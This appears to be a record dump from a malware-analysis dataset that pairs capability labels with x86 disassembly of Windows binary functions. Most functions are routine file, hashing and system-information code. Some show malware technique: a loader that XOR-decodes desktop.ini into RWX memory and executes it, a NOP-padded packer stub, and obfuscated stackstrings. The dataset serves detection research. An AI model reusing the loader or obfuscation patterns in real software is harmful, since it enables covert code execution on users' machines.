joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d05d4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
lea ecx, [ebp + 0x10]
mov edx, edi
xor eax, eax
call fcn.006d06fc
mov esi, eax
mov eax, esi
call fcn.00406ee8
mov ebx, eax
lea ecx, [ebp + 0x10]
mov edx, edi
mov eax, ebx
call fcn.006d06fc
push 0
lea eax, [ebp - 8]
push eax
push esi
push ebx
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, ebx
call fcn.00406f04
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x6db21c
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x14]
cmp eax, 0xca
jne 0x6db24e
push ebx
call fcn.006dbd34
pop ecx
mov dl, byte [ebx + 0x40]
test dl, dl
je 0x6db247
mov dword [ebx + 0x14], 0xcf
mov al, 1
pop ebx
pop ebp
ret
mov dword [ebx + 0x14], 0xcb
mov edx, dword [ebx + 0x14]
cmp edx, 0xcb
jne 0x6db2c4
mov ecx, dword [ebx + 0x190]
mov al, byte [ecx + 0x10]
test al, al
je 0x6db2b9
mov edx, dword [ebx + 8]
test edx, edx
je 0x6db274
push ebx
mov ecx, dword [ebx + 8]
call dword [ecx]
pop ecx
push ebx
mov eax, dword [ebx + 0x190]
call dword [eax]
pop ecx
test eax, eax
jne 0x6db287
xor eax, eax
pop ebx
pop ebp
ret
cmp eax, 2
je 0x6db2b9
mov edx, dword [ebx + 8]
test edx, edx
je 0x6db266
cmp eax, 3
je 0x6db29b
dec eax
jne 0x6db266
mov ecx, dword [ebx + 8]
inc dword [ecx + 4]
mov edx, dword [ecx + 4]
mov eax, dword [ebx + 8]
mov ecx, dword [eax + 8]
cmp edx, ecx
jl 0x6db266
mov edx, dword [ebx + 0x11c]
add dword [eax + 8], edx
jmp 0x6db266
mov eax, dword [ebx + 0x7c]
mov dword [ebx + 0x84], eax
jmp 0x6db2e4
mov ecx, dword [ebx + 0x14]
cmp ecx, 0xcc
je 0x6db2e4
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
push ebx
mov ecx, dword [ebx]
call dword [ecx]
pop ecx
push ebx
call fcn.006db2f0
pop ecx
pop ebx
pop ebp
ret
Function at 0x6db2f0
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x14]
cmp eax, 0xcc
je 0x6db37a
push ebx
mov edx, dword [ebx + 0x180]
call dword [edx]
pop ecx
xor ecx, ecx
mov dword [ebx + 0x78], ecx
mov dword [ebx + 0x14], 0xcc
jmp 0x6db37a
mov eax, dword [ebx + 8]
test eax, eax
je 0x6db333
mov dword [eax + 4], edx
mov edx, dword [ebx + 0x60]
mov dword [eax + 8], edx
push ebx
mov ecx, dword [ebx + 8]
call dword [ecx]
pop ecx
mov esi, dword [ebx + 0x78]
lea eax, [ebx + 0x78]
push 0
push eax
push 0
push ebx
mov edx, dword [ebx + 0x184]
call dword [edx + 4]
add esp, 0x10
mov ecx, dword [ebx + 0x78]
cmp esi, ecx
jne 0x6db356
xor eax, eax
jmp 0x6db399
mov edx, dword [ebx + 0x78]
mov ecx, dword [ebx + 0x60]
cmp edx, ecx
jb 0x6db31c
push ebx
mov eax, dword [ebx + 0x180]
call dword [eax + 4]
pop ecx
push ebx
mov edx, dword [ebx + 0x180]
call dword [edx]
pop ecx
xor ecx, ecx
mov dword [ebx + 0x78], ecx
mov eax, dword [ebx + 0x180]
mov dl, byte [eax + 8]
test dl, dl
jne 0x6db356
mov ecx, 0xce
mov al, byte [ebx + 0x41]
test al, al
jne 0x6db394
dec ecx
mov dword [ebx + 0x14], ecx
mov al, 1
pop esi
pop ebx
pop ebp
ret
Function at 0x6e7638
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov esi, dword [ebx + 0x24]
mov eax, dword [ebx + 0x34]
mov edx, dword [ebx + 0x6c]
sub eax, edx
mov ecx, dword [ebx + 0x64]
sub eax, ecx
mov dword [ebp - 8], eax
jmp 0x6e767c
mov edx, dword [ebx + 0x24]
sub edx, 0x106
add edx, esi
mov ecx, dword [ebx + 0x64]
cmp edx, ecx
ja 0x6e7707
push esi
mov eax, dword [ebx + 0x30]
mov edx, eax
mov edi, esi
add edx, edi
push edx
push eax
call fcn.006d0c08
add esp, 0xc
sub dword [ebx + 0x68], esi
sub dword [ebx + 0x64], esi
sub dword [ebx + 0x54], edi
mov eax, dword [ebx + 0x44]
mov edx, eax
add edx, edx
mov ecx, dword [ebx + 0x3c]
add edx, ecx
sub edx, 2
movzx ecx, word [edx]
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
cmp esi, ecx
ja 0x6e76d0
mov cx, word [ebp - 4]
sub cx, si
jmp 0x6e76d2
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x6e76b7
mov eax, esi
mov edx, eax
add edx, edx
mov ecx, dword [ebx + 0x38]
add edx, ecx
sub edx, 2
movzx ecx, word [edx]
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
cmp esi, ecx
ja 0x6e76fc
mov cx, word [ebp - 4]
sub cx, si
jmp 0x6e76fe
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x6e76e3
add dword [ebp - 8], esi
mov edi, dword [ebx]
mov eax, dword [edi + 4]
test eax, eax
je 0x6e7774
mov edx, dword [ebp - 8]
push edx
mov ecx, dword [ebx + 0x30]
mov eax, dword [ebx + 0x64]
add ecx, eax
mov edx, dword [ebx + 0x6c]
add ecx, edx
push ecx
push edi
call fcn.006e72f4
add esp, 0xc
add dword [ebx + 0x6c], eax
mov ecx, dword [ebx + 0x6c]
cmp ecx, 3
jb 0x6e775d
mov eax, dword [ebx + 0x30]
mov edx, dword [ebx + 0x64]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x30]
mov ecx, dword [ebx + 0x64]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
mov edx, dword [ebx + 0x4c]
and eax, edx
mov dword [ebx + 0x40], eax
mov eax, dword [ebx + 0x6c]
cmp eax, 0x106
jae 0x6e7774
mov ecx, dword [ebx]
mov eax, dword [ecx + 4]
test eax, eax
jne 0x6e7647
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x721700
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x21c], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x721873
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor edx, edx
push ebp
push 0x72184e
push dword fs:[edx]
mov dword fs:[edx], esp
mov word [ebp - 0x216], 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x105
lea eax, [ebp - 0x216]
push eax
lea eax, [ebp - 0x21c]
mov edx, esi
call fcn.0040a554
lea eax, [ebp - 0x21c]
mov edx, 0x72188c
call fcn.0040a740
mov eax, dword [ebp - 0x21c]
call fcn.0040a52c
push eax
call sub.kernel32.dll_GetVolumeInformationW
test eax, eax
je 0x7217bf
lea eax, [ebp - 0x216]
call fcn.00409db4
lea edx, [ebp - 0x216]
mov ecx, ebx
xchg ecx, eax
call fcn.00409a4c
jmp 0x7217c6
mov eax, ebx
call fcn.004098c4
cmp si, 0x61
jae 0x7217e8
lea edx, [ebp - 0x220]
mov eax, dword [ebx]
call fcn.004293e8
mov edx, dword [ebp - 0x220]
mov eax, ebx
call fcn.00409ca4
jmp 0x721802
lea edx, [ebp - 0x224]
mov eax, dword [ebx]
call fcn.004293d4
mov edx, dword [ebp - 0x224]
mov eax, ebx
call fcn.00409ca4
lea eax, [ebp - 0x228]
push eax
mov eax, dword [ebx]
mov dword [ebp - 0x230], eax
mov byte [ebp - 0x22c], 0x11
lea edx, [ebp - 0x230]
xor ecx, ecx
mov eax, 0x7218a0
call fcn.00423568
mov edx, dword [ebp - 0x228]
mov eax, ebx
call fcn.00409ca4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x721855
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret

Function at 0x724a04
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
mov byte [ebp - 1], 0
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x724abb
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov eax, esi
call fcn.0040a52c
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
jne 0x724a46
call fcn.00409030
jmp 0x724ac2
mov eax, ebx
call fcn.00406ee8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push ebx
push 0
mov eax, esi
call fcn.0040a52c
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
jne 0x724a6f
call fcn.00409030
jmp 0x724ac2
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x724ad0
mov eax, dword [ebp - 8]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
jne 0x724a90
call fcn.00409030
jmp 0x724ac2
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 8]
mov dword [edi + 4], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov dword [edi], eax
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x724ac2
mov eax, dword [ebp - 8]
call fcn.00406f04
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x72b49c
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd48
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
mov edi, eax
test ebx, ebx
je 0x72b530
mov edx, dword [0x727928]
mov eax, 8
call fcn.0040b5bc
mov esi, eax
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00409ca4
mov byte [esi + 4], 0
mov edx, esi
mov eax, ebx
call fcn.0053052c
mov edx, dword [ebp + 8]
mov eax, ebx
call fcn.005306dc
mov eax, dword [edi + 0x45c]
cmp eax, dword [ebp + 8]
jne 0x72b500
mov edx, dword [edi + 0x458]
mov eax, ebx
call fcn.0053077c
jmp 0x72b530
push 0x4003
push 0x2b4
lea eax, [ebp - 0x2b8]
push eax
push 0
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
call fcn.0040a52c
push eax
call sub.shell32.dll_SHGetFileInfoW
mov edx, dword [ebp - 0x2b4]
mov eax, ebx
call fcn.0053077c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x735828
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x735856
mov eax, ebx
call fcn.007362e4
cmp dword [ebx + 0x40], 0
je 0x73584f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x7358c7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x7358b9
cmp dword [ebx + 8], 0
je 0x735878
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x73588a
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x7358b9
cmp dword [ebx + 8], 0
je 0x73586b
cmp eax, 3
je 0x73589d
dec eax
jne 0x73586b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x73586b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x73586b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x7358e5
cmp dword [ebx + 0x14], 0xcc
je 0x7358e5
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.007358f0
pop ebx
ret
Function at 0x74a9a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 4
push 0
push 0
dec ecx
jne 0x74a9a9
xchg dword [ebp - 4], ecx
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004099a8
mov eax, dword [ebp - 8]
call fcn.004099a8
mov eax, dword [ebp + 8]
call fcn.004099a8
xor eax, eax
push ebp
push 0x74ab22
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x804e28]
push 0x74ab40
push dword [ebp - 4]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040a820
mov dl, 1
mov eax, dword [ebp - 0xc]
call fcn.0042238c
test al, al
je 0x74aab8
mov eax, dword [ebp - 0xc]
call fcn.00749b64
push 5
lea eax, [ebp - 0x10]
mov ecx, 0x74ab40
mov edx, dword [0x804e28]
call fcn.0040a798
mov eax, dword [ebp - 0x10]
call fcn.0040a52c
push eax
mov eax, dword [ebp - 8]
call fcn.0040a52c
push eax
mov eax, dword [ebp - 0xc]
call fcn.0040a52c
push eax
push 0x74ab54
push esi
call sub.shell32.dll_ShellExecuteW
mov esi, eax
cmp esi, 0x20
ja 0x74aaef
push 0x74ab6c
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x18]
call fcn.00421944
push dword [ebp - 0x18]
push 0x74abb4
push 0x74abc4
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00421944
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x1c]
mov eax, dword [0x7af27c]
mov eax, dword [eax]
call fcn.00496ee4
push dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.0040a820
mov eax, dword [ebp - 0x14]
call fcn.00544a60
jmp 0x74aaef
cmp byte [ebp + 0xc], 0
jne 0x74aae7
push dword [ebp - 4]
push 0x74abd4
push 0x74abe4
push 0x74ac04
lea eax, [ebp - 0x24]
mov edx, 4
call fcn.0040a820
mov eax, dword [ebp - 0x24]
call fcn.00544a60
jmp 0x74aaef
mov eax, dword [ebp + 8]
call fcn.00544a60
test bl, bl
je 0x74aaff
mov eax, dword [0x7af470]
mov eax, dword [eax]
call fcn.005af540
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x74ab29
lea eax, [ebp - 0x24]
mov edx, 9
call fcn.00409924
lea eax, [ebp + 8]
call fcn.004098c4
ret
Function at 0x100255cb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100255eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.100251a8
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x1002560e
test byte [esp + 8], 2
je 0x1002560e
call fcn.1002521b
mov dword [eax], 0xd
call fcn.10025224
mov dword [eax], 5
jmp 0x100255e7
xor eax, eax
ret
Function at 0x64f9b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, 8
pxor mm7, mm7
push ecx
movd mm6, ebx
mov ebx, 0x80008000
push edx
punpckldq mm6, mm6
movd mm5, ebx
push edi
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
punpckldq mm5, mm5
movq mm0, qword [edx]
movq mm2, qword [edx + 8]
movq mm4, qword [edx + 0x10]
movq mm1, mm2
psrlq mm2, 0x20
punpckldq mm2, mm4
paddd mm0, mm2
movq mm3, mm4
psrlq mm4, 0x20
sub eax, 4
jl 0x64fab9
jmp 0x64fa10
pxor mm5, qword [ecx]
add edi, 8
add ecx, 8
movq mm2, qword [edx + 0x18]
punpckldq mm4, mm2
paddd mm0, mm2
paddd mm1, mm4
movq mm4, mm5
punpcklwd mm5, mm7
punpckhwd mm4, mm7
pcmpeqd mm7, mm7
psubd mm0, mm5
pslld mm7, 0x12
psubd mm1, mm4
pslld mm5, 4
pslld mm4, 4
psubd mm5, mm0
movq mm0, mm6
paddd mm5, mm7
paddd mm4, mm7
psrld mm7, 0x1e
pand mm0, mm5
paddd mm5, mm7
psrld mm0, 3
paddd mm5, mm0
movq mm0, qword [edx + 0x20]
psrad mm5, 3
paddd mm1, mm0
add edx, 0x10
psubd mm4, mm1
movq mm1, mm6
sub eax, 4
pand mm1, mm4
paddd mm4, mm7
psrld mm1, 3
paddd mm4, mm1
movq mm1, mm2
psrad mm4, 3
psrlq mm2, 0x20
packssdw mm5, mm4
movq mm4, mm0
movq mm0, mm3
punpckldq mm2, mm4
movq mm3, mm4
psrlq mm4, 0x20
movq qword [edi - 8], mm5
movd mm5, ebx
paddd mm0, mm2
punpckldq mm5, mm5
pxor mm7, mm7
jge 0x64fa10
add eax, 4
jle 0x64fb43
pxor mm5, qword [ecx]
movq mm2, qword [edx + 0x18]
punpckldq mm4, mm2
paddd mm0, mm2
paddd mm1, mm4
movq mm4, mm5
punpcklwd mm5, mm7
punpckhwd mm4, mm7
pcmpeqd mm7, mm7
psubd mm0, mm5
pslld mm7, 0x12
pslld mm5, 4
psubd mm1, mm4
psubd mm5, mm0
paddd mm1, qword [edx + 0x20]
pslld mm4, 4
paddd mm5, mm7
psubd mm4, mm1
movq mm2, mm6
paddd mm4, mm7
psrld mm7, 0x1e
pand mm2, mm5
paddd mm5, mm7
psrld mm2, 3
pand mm6, mm4
paddd mm4, mm7
psrld mm6, 3
paddd mm5, mm2
paddd mm4, mm6
psrad mm5, 3
psrad mm4, 3
packssdw mm5, mm4
cmp eax, 2
jl 0x64fb3d
movd dword [edi], mm5
je 0x64fb43
psrlq mm5, 0x20
add edi, 4
movd edx, mm5
mov word [edi], dx
pop edi
pop edx
pop ecx
pop ebx
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
nop
add eax, reloc.gdi32.dll_OffsetWindowOrgEx
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x43b65b
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43b3c1
mov esi, dword [esp]
add esp, 4
add edi, 0xce88a991
call fcn.0043b6a1
add edi, 0xd3c9e5dc
xor dword [ecx], esi
mov eax, 0xddb0d968
dec edi
inc ecx
add edi, 0x65c5c37b
inc edi
add edi, edi
cmp ecx, ebx
jne fcn.0043b65b
or edi, edi
ret
Function at 0x405cbb
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c60c], 0
push esi
jne 0x405cf2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405ccc
mov dword [ecx*4 + 0x42c608], eax
inc ecx
cmp ecx, 0x100
jl 0x405cc7
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405d23
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c608]
xor eax, esi
inc ecx
dec edx
jne 0x405d05
pop edi
not eax
pop esi
ret 0xc
Function at 0x401390
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404e40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x3d8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x3e4]
push ecx
call fcn.00401770
add esp, 8
lea edx, [ebp - 0x3e4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax + 1]
cmp ecx, 0x3a
jne 0x40141b
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
test edx, edx
je 0x40141b
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x40141b
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40148d
mov edx, dword [ebp - 0x14]
movsx eax, byte [edx]
cmp eax, 0x5c
jne 0x401482
mov ecx, dword [ebp - 0x14]
mov byte [ecx], 0
lea edx, [ebp - 0x3e4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40146d
push 0
lea eax, [ebp - 0x3e4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40146b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40146b
xor al, al
jmp 0x4014ad
jmp 0x40147c
mov ecx, dword [ebp - 0x18]
and ecx, 0x10
cmp ecx, 0x10
je 0x40147c
xor al, al
jmp 0x4014ad
mov edx, dword [ebp - 0x14]
mov byte [edx], 0x5c
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
jmp 0x40141b
jmp 0x4014a4
mov dword [ebp - 4], 0xffffffff
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4014c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 1
push 1
call dword [sym.imp.KERNEL32.dll_SleepEx]
push 1
push 1
call dword [sym.imp.KERNEL32.dll_SleepEx]
mov eax, dword [str.X3AAAAC]
mov dword [ebp - 0xc], eax
mov ecx, dword [str.X3AAAAC]
mov dl, byte [ecx + 0xf]
mov byte [ebp - 4], dl
jmp 0x401553
call fcn.004014f3
mov dword [ebp - 8], 0x5f8
jmp 0x401513
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x40153a
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp - 4]
and eax, 0xff
xor edx, eax
mov ecx, dword [ebp - 0xc]
mov byte [ecx], dl
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x40150a
push 0x5f8
mov eax, dword [str.X3AAAAC]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_memmove
add esp, 0xc
jmp 0x401555
jmp 0x4014fc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401560
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
pop ebp
ret
Function at 0x4017d0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
jmp 0x4017e8
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x401842
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
jmp 0x401809
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 8
jge 0x401833
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x401829
mov ecx, dword [ebp - 4]
shr ecx, 1
xor ecx, 0xedb88320
mov dword [ebp - 4], ecx
jmp 0x401831
mov edx, dword [ebp - 4]
shr edx, 1
mov dword [ebp - 4], edx
jmp 0x401800
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [eax*4 + 0x42f564], ecx
jmp 0x4017df
mov esp, ebp
pop ebp
ret
Function at 0x402750
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 1
test eax, eax
je 0x402773
push 0x80
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop ebp
ret

Function at 0x402d10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jb 0x402d4b
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401560
add esp, 4
and eax, 0xff
test eax, eax
jne 0x402d59
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, dword [ebp + 0xc]
push eax
call fcn.00404720
add esp, 4
push 0x406120
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401720
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402d99
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
push 0x5c
mov eax, dword [ebp - 4]
push eax
call fcn.00402780
add esp, 8
mov byte [eax], 0
mov esp, ebp
pop ebp
ret

Function at 0x402fd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov ecx, 5
mov esi, 0x4060d4
lea edi, [ebp - 0x14]
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x14], 0x52
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [0x42ece8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42ed00], eax
push 0x4060c4
call fcn.00404760
add esp, 4
push eax
mov edx, dword [0x42ece8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42ecf4], eax
mov dword [ebp - 0x20], 0
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0x4e72454b
mov dword [ebp - 0x1c], 0x32336c65
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret